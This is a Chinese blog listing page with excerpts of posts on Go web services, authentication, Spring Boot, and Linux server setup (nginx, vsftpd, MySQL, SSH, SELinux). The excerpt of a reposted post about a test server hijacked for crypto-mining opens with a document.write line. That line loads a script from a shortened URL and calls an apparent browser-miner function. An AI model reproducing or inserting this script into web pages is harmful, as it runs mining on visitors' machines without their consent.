- 博客(50)
- 收藏
- 关注
原创 访问认证(三):Bearer
当前最流行的 token 编码方式是 JSON Web Token (JWT)。JWT 是 Bearer Token 的一个具体实现,由JSON 数据格式组成,通过HASH 散列算法生成一个字符串。该字符串可以用来进行 授权 和 信息交换。使用 JWT Token 进行认证有很多优点。比如:(1)无需在服务端存储用户数据,可以减轻服务端压力;(2)采用 JSON 数据格式,易读;(3)跨语言、轻量级;
2021-07-24 23:54:42
25403
2
原创 访问认证(一)认证与授权
保证应用的安全是软件开发的最基本要求。作为开发者,应该从软件层面来保证应用的安全,这可以通过认证来实现。认证 与 授权 的区别认证(Authentication, 缩写:authn):用来验证某个用户是否具有访问系统的权限。如果认证通过,该用户就可以访问系统,从而创建、修改、删除、查询平台支持的资源。授权(Authorization, 缩写:authz):用来验证某个用户是否具有访问某个资源的权限。如果授权通过,该用户就能对资源做 CRUD 等操作。认证 证明了你是谁,授权 决定了你能做什么
2021-07-24 21:30:16
1356
原创 Web服务(二):Gin框架
简介Gin 框架是由 Go 语言编写,基于 net/http 包 封装的一个 Web 框架。Gin 核心的路由功能是通过定制版的HttpRouter 来实现的,具有很高的路由性能。Web 服务基础功能1. HTTP / HTTPS支持因为 Gin 框架是基于 net/http 包封装的一个 Web 框架,所以它天然就支持 HTTP / HTTPS。通过下面方式开启一个 HTTP 服务:insecureServer := &http.Server { Addr..
2021-07-24 19:56:01
1924
原创 Web服务(一):简介
简介在 Go 项目开发中,我们是在写能提供某种功能的后端服务,这些功能以 RPC API 接口 或者 RESTful API 接口 的形式对外提供,能提供这两种 API 接口的服务也统称为 Web 服务。核心功能核心功能分为 基础功能 和 高级功能 两大类。1. 基础功能1.1 通信协议 & 通信格式在 Go 项目开发中,有 HTTP + JSON 和 gRPC + Protobuf 两种组合可选。1.2 路由匹配根据 HTTP 方法,请求路径 匹配到处理这个请求的函
2021-07-24 11:11:53
1185
原创 API 风格 (三):RESTful & gRPC
RESTful VSgRPC对比项 RESTful gRPC 优点 相对来说,REST更规范、标准、通用,无论哪种语言都支持 HTTP 协议,可以对接外部很多系统,只要满足 HTTP 调用即可。 通常采用 JSON 作为数据通信格式,可读性强,开发调试都很方便。 客户端与服务端之间 松耦合,让变更更加方便。 屏蔽网路细节,像调用本地方法一样,调用远程接口。 通常采用 Protocol Buffers 作为数据传输格式,这种...
2021-07-17 21:37:01
1084
原创 API 风格 (一):RESTful API
简介REST(REpresentational State Transfer 表现层状态转移),是一种软件架构风格,是一种架构约束条件和原则。它有一系列的规范。满足这些规范的 API 均可称为 RESTful API。区别:REST 是一种规范,RESTful API 则是满足这种规范的 API 接口。REST 规范把所有内容都视为资源,也就是说网络上一切皆资源。REST 架构对资源的操作有获取(GET)、创建(POST)、修改(PUT)、删除(DELETE)。HTTP方法 行为.
2021-07-17 21:03:23
564
原创 API 风格 (二):RPC API
RPC介绍在 Go 项目开发中,如果业务对性能要求比较高,并且需要提供给多种编程语言调用,这时候就可以考虑使用 RPC API 接口。RPC(Remote Procedure Call 远程过程调用),是一个计算机通信协议。该协议允许运行于一台计算机的程序,像调用本地方法一样,调用另一台计算机的子程序。服务端实现一个函数,客户端使用 RPC 框架提供的接口,像调用本地函数一样调用这个函数,并获取返回值。RPC 屏蔽底层的网络通信细节,使得开发人员无需关注网络编程的细节,可以将更多的时间、精.
2021-07-17 20:56:01
1887
1
原创 001 如何获取、编译、安装Linux内核源代码
一、环境准备1、VMware Workstation虚拟机2、虚拟机中安装 Ubuntu-20.04.1 操作系统 (内核版本为 5.4.0)二、获取源代码1、www.kernel.org2、下载后源代码为 linux-5.8.7.tar.xz 格式压缩包,存放于/home/ubuntu/Desktop/Linux目录下,通过下面两条命令解压 cd /home/ubuntu/Desktop/Linux xz -d linux-5.8.7.tar.xz...
2020-09-09 21:34:44
8142
4
原创 Apache2 【error】Config variable ${APACHE_RUN_DIR} is not defined
现象:原因:这是由于升级后apache 配置文件变化,没有导入新的apache 环境变量解决方案:source /etc/apache2/envvars
2020-01-31 19:42:18
2865
原创 Win7 安装jdk后无法打开jar文件
一、由于装了压缩软件,jar包被压缩软件所关联,导致双击jar包无法运行, 解决办法当然是改变打开方式,将默认打开方式改为C:\Program Files\Java\jdk1.8.0_66\jre\bin目录下的javaw.exe二、由于文件打开类型配置的问题,导致双击jar包出现找不到main函数,解决办法是修改关联程序的注册表注册表项的路径为:\HKEY_CLASSES...
2020-01-31 16:49:36
2144
原创 Kali 2019.4 下卸载并重新安装MySQL
一、完全卸载Mysql首先用 dpkg --list | grepmysql查看自己的mysql有哪些依赖 卸载mysql相关应用 apt-get remove mysql* 再用 dpkg --list|grep mysql 查看,还剩什么就卸载什么 最后清除残留数据: dpkg -l | grep ^rc | awk '{print $2}' | sudo xarg...
2020-01-31 11:27:53
4710
原创 文件777 仍然不可写
原因: 这是linux开启了SELinux,这是linux的一个安全子系统, getenforce 查看状态 setenforce 0 临时关闭(重启恢复开启状态)/usr/sbin/sestatus 查看详情...
2019-05-11 20:26:50
486
原创 kali linux 开启ssh端口服务
ssh链接可以远程管理linux设备,默认端口是22,安装好系统默认是不开启的,需要修改配置文件1.修改/etc/ssh/sshd_config配置文件vim /etc/ssh/sshd_config1.1 找到#PasswordAuthentication yes把#的注释去掉PasswordAuthentication yes1.2 将PermitRootLogi...
2019-05-11 09:21:59
1480
2
转载 关于springboot中添加Filter的方法
【转】关于springboot中添加Filter的方法@WebFilter(filterName = "myFilter",urlPatterns = "/*")public class MyFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws S...
2019-03-29 14:58:58
942
原创 springboot 拦截器Interceptor 实现
1.编写拦截器 implements HandlerInterceptorpublic class AuthorityInterceptor implements HandlerInterceptor { /* 进入Controller层之前调用; 返回值为true,调用Controller层的方法; 返回值为false,不再进入Controll...
2019-03-29 14:42:07
459
原创 springboot cors跨域
corsConfiguration.addAllowedOrigin("http://ip:port");corsConfiguration.setAllowCredentials(true);package com.bookshop;import org.springframework.context.annotation.Bean;import org.springfra...
2019-03-29 13:29:06
252
原创 npm ERR! Error: EACCES: permission denied, access
npm ERR! Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime'npm ERR! { Error: EACCES: permission denied, access '/Users/aven/node-red/node_modules/onetime'npm ERR...
2019-03-28 17:05:08
869
转载 Spring Boot Web项目解决ajax跨域
【转】SpringBoot项目ajax 跨域post请求问题在Application启动类中添加,需要导入的包都是与springframe相关的private CorsConfiguration buildConfig() { CorsConfiguration corsConfiguration = new CorsConfiguration(); ...
2019-03-27 13:24:34
283
转载 【转】记录一次测试环境被挖矿的坑
document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');【转】记录一次测试环境被挖矿的坑【转】redis修改端口号增加密码...
2019-01-01 19:57:14
445
1
原创 Linux 防火墙
CentOS7默认的防火墙不是iptables,而是firewalle. 禁用/停止自带的firewalld服务#停止firewalld服务systemctl stop firewalld#禁用firewalld服务systemctl mask firewalldCentOS7安装iptables防火墙#先检查是否安装了iptablesservice iptables ...
2018-11-18 18:58:06
204
原创 Spring Schedule
Spring Schedule介绍作业调度,例如定时任务Spring Schedule Cron表达式Cron表达式的格式:秒 分 时 日 月 周 年(可选) Seconds Minutes Hours Day-of-Month Month Day-of-Week Year(可选字段) Spring Schedule Cron 配置...
2018-11-13 10:31:27
231
原创 CookieUtil
CookieUtil:向客户端写Cookie从客户端读取Cookie删除客户端Cookiepackage com.tiandh.util;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang.StringUtils;import javax.servlet.http.Cookie;import ...
2018-11-04 15:25:02
179
原创 JsonUtil封装
JsonUtil工具类:将java对象转换为json字符串将json字符串转换为java对象<!--jackson JsonUtil--> <dependency> <groupId>org.codehaus.jackson</groupId> <artifactId>j...
2018-11-02 16:54:41
274
原创 Redis连接池构建
背景负载均衡带来的问题:当用户A在请求登录的服务时,有可能是在Tomcat1上保存的登录信息,但是当请求网站的其他服务时,有可能会是Tomcat2提供的服务,然而Tomcat2上并没有保存用户A的登录信息,所以会发出用户未登录的情况解决:用Redis数据库作为session服务器,用来存储用户的登录信息与sessionId,每次验证用户的登录状态时,都将请求session服务器。...
2018-11-02 16:51:03
552
原创 Maven 环境隔离 笔记
一.实际的项目环境本地开发环境 (Local) 开发环境 (Dev) 测试环境 (Beta) 线上环境 (Prod)二. 隔离环境之间各种配置存在的差异数据库配置不一样 FTP服务器相关配置不一样 ......三. Maven环境隔离配置及原理pom.xml中build节点增加 <!--Maven环境隔离配置-...
2018-10-03 17:48:27
357
原创 Lombok学习笔记
Lombok 官网 : https://projectlombok.org/一.Lombok介绍通过简单注解来精简代码,达到消除冗长代码的目的二.Lombok优点提高编码效率 使代码更简洁 消除冗长代码 避免修改字段名字时忘记修改方法名三. Lombok原理JSR 269 Pluggable Annotation Processing API javac从Ja...
2018-10-02 22:12:53
258
转载 Windows中查看端口占用及关闭对应进程
1.查看占用8080端口程序 ①先C:>netstat -ano|findstr "8080" 协议 本地地址 外部地址 状态 PID TCP 127.0.0.1:1433 0.0.0.0 LISTENING 4984 ...
2018-09-16 21:23:42
473
1
转载 【转】通过HTTP服务访问FTP服务器文件(配置nginx+ftp服务器)
通过HTTP服务访问FTP服务器文件(配置nginx+ftp服务器) 1.前提 已安装配置好nginx+ftp服务2.配置Nginx 服务器 2.1进入nginx 配置文件目录:cd /usr/local/nginx/confvim nginx.conf 2.2 修改配置文件:有两种方式 ①方式一:在配置文件s...
2018-09-15 14:51:03
3502
转载 mmall电商项目学习笔记之mybatis三剑客
一.Mybatis pluginIDEA 2017.3版本下Mybatis plugin 3.53安装使用插件下载地址http://www.awei.org/download/iMybatis-3.21.jar二.MyBatis-Generate 反向生成【转】mybatis自动生成实体代码的插件【method2】逆向生成2.1 在pom.xml中做两处配置2.1....
2018-09-14 12:54:29
545
原创 mmall电商项目学习笔记之 idea,maven工程整合ssm框架
项目目录结构1.pom文件导入jar包1.1 <properties> <!--设置编码格式--> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding&...
2018-09-14 09:24:12
596
转载 ajax跨域请求时,sessionId不一样,导致无法记住登录状态
【转】 ajax跨域请求时,sessionId不一致问题 解决方案:js的ajax中,设置xhrFields:{ withCredentials : true} $.ajax({ url: '', type: 'POST', xhrFields:{ withCredentials:true }, ...
2018-09-10 22:18:03
589
转载 java Ajax跨域
第一步:如果项目用了Maven构建的,请添加如下依赖到pom.xml中 <dependency> <groupId>com.thetransactioncompany</groupId> <artifactId>cors-filter</artifactId> <version>[ ve...
2018-09-10 13:07:15
396
转载 Windows下安装node.js webpack
【转载】windows下淡妆node.js , webpack 安装webpack后,执行webpack -v命令时报错如下:F:\Development\nodejs\node_global\node_modules\webpack\bin\webpack.js:86 let notify = ^^^SyntaxError: Block-scope...
2018-09-07 09:41:16
650
原创 Node.js入门
1.简介简单的说 Node.js 就是运行在服务端的 JavaScript。2.用途构建工具webpack的环境依赖3.特点单线程、异步编程4.应用场景低运算、高I/O5.安装官网:Node.js官网偶数版本为稳定版本windows :node-vxxx.msimac :node-vxxx.pkglinux :node-vxxx-linux-x6...
2018-09-06 22:01:15
207
原创 Linux git 基础配置
【转】centos7编译安装git1.配置用户名git config --global user.name "yourname"2.配置邮箱git config --global user.email "youremail"3.编码配置git config --global gui.encoding utf-8#避免git gui中的中文乱码git config -...
2018-09-06 20:10:57
266
原创 Linux 下安装mysql
【转】CentOS7 64位安装mysql5.7【转】ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2)的错误提示【转】mysql5.7 安装完成后设置密码【转】MySQL5.7 添加用户、删除用户与授权【转】[Err] 1...
2018-09-06 17:36:24
244
原创 Linux 下Nginx安装
一. Nginx简介Nginx是什么? Nginx是一款轻量级的Web服务器,也是一款反向代理服务器 2. Nginx能做什么? 可以作为HTTP反向代理服务器 作为负载均衡服务器 作为邮件代理服务器 帮助实现前端动静分离 **********************************************...
2018-09-06 16:40:35
163
原创 LInux 下vsftpd 配置
【转】500 OOPS: vsftpd: refusing to run with writable root inside chroot()默认配置文件位置:/etc/vsftpd/vsftpd.conf默认匿名用户家目录:/var/ftp 权限为755,不能改变1.创建一个用户ftpuser(无登录系统权限),可以上传。useradd -s /sbin/no...
2018-09-06 15:40:46
409
原创 Linux 下安装 vsftpd
方式一:本地安装1.挂载光盘,进入到 /mnt/Packages/文件夹下,查看是否有vsftpd包mount /dev/cdrom /mnt/cd /mnt/Packages/ll *vsftpd*2.安装rpm -ivh vsftpd-2.2.2-24.el6.x86_64.rpm(vsftpd-2.2.2-24.el6.x86_64.rpm 为上一步中查询到的包名...
2018-09-06 14:43:46
426
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人